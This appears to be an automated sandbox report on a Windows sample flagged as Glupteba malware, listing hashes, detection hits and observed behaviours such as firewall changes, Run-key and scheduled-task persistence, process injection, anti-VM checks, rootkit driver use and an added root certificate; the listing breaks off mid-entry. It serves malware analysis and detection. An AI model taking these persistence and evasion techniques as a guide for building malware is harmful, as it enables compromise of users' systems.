Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
11-09-2024 15:17
Static task
static1
Behavioral task
behavioral1
Sample
daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe
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Size
3.9MB
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MD5
daa28da2479af20fdc953d57b551ea4e
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SHA1
a69a7e4d6e09d47da892fd7531ff7a27e7964600
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SHA256
6730b42b09eac8f620091f094dbc18163f2d870ffcde7b7e19b4117553bfb8d1
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SHA512
cfd5aefeb5e2cb78ad2dbada1fa28fdcdaae967ad9eeaaa1b7be1cd2146076b9db6b39ac49b2bd715372196ab88a986113cdab4bf9e2d954b9e106abca40ce2a
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SSDEEP
98304:s+Y80XDNH0jwGpyBD5ElgmGmU7KRAQxBwdC2MV7aYh:DYtNH0jwGoBuU7KRAQLwclV7xh
Malware Config
Signatures
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Glupteba payload 38 IoCs
resource yara_rule behavioral2/memory/3580-2-0x0000000002DA0000-0x0000000003495000-memory.dmp family_glupteba behavioral2/memory/4044-3-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4044-7-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4044-9-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4044-10-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4044-8-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4044-5-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4044-6-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4044-12-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/1500-24-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/1500-23-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/1500-26-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/1500-22-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/1500-28-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/1500-27-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/1500-31-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-44-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-46-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-47-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-45-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-48-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-49-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-50-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-53-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-55-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-56-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-57-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-58-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-59-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-60-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-61-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-62-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-63-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-64-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-65-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-66-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-67-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral2/memory/4912-68-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 2636 netsh.exe 2928 netsh.exe -
Executes dropped EXE 3 IoCs
pid Process 4568 csrss.exe 4912 csrss.exe 2640 patch.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WitheredShape = "\"C:\\Windows\\rss\\csrss.exe\"" daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
description ioc Process File opened for modification \??\WinMonFS csrss.exe -
Modifies boot configuration data using bcdedit 1 IoCs
pid Process 3484 bcdedit.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3580 set thread context of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 4996 set thread context of 1500 4996 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 4568 set thread context of 4912 4568 csrss.exe 102 -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\rss daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe File created C:\Windows\rss\csrss.exe daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe -
Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csrss.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csrss.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" csrss.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 csrss.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4100 schtasks.exe 4504 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4044 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 4044 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 1500 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 1500 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 4912 csrss.exe 4912 csrss.exe 4912 csrss.exe 4912 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4044 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe Token: SeImpersonatePrivilege 4044 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe Token: SeSystemEnvironmentPrivilege 4912 csrss.exe -
Suspicious use of WriteProcessMemory 43 IoCs
description pid Process procid_target PID 3580 wrote to memory of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 3580 wrote to memory of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 3580 wrote to memory of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 3580 wrote to memory of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 3580 wrote to memory of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 3580 wrote to memory of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 3580 wrote to memory of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 3580 wrote to memory of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 3580 wrote to memory of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 3580 wrote to memory of 4044 3580 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 86 PID 4996 wrote to memory of 1500 4996 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 4996 wrote to memory of 1500 4996 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 4996 wrote to memory of 1500 4996 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 4996 wrote to memory of 1500 4996 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 4996 wrote to memory of 1500 4996 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 4996 wrote to memory of 1500 4996 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 4996 wrote to memory of 1500 4996 